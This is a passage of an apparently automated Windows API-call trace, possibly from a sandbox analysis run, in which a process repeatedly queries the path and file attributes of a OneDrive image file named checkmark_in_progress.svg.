ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.687] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.687] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.688] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.688] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.688] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.689] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.689] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.690] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.690] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.690] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.691] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.691] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.692] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.692] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.693] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.693] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.693] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.694] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.694] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.694] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.695] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.695] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.695] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.696] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.696] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.697] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.697] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.698] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.792] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.793] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.793] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.793] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.794] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.794] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.796] GetFullPathNameW (in: 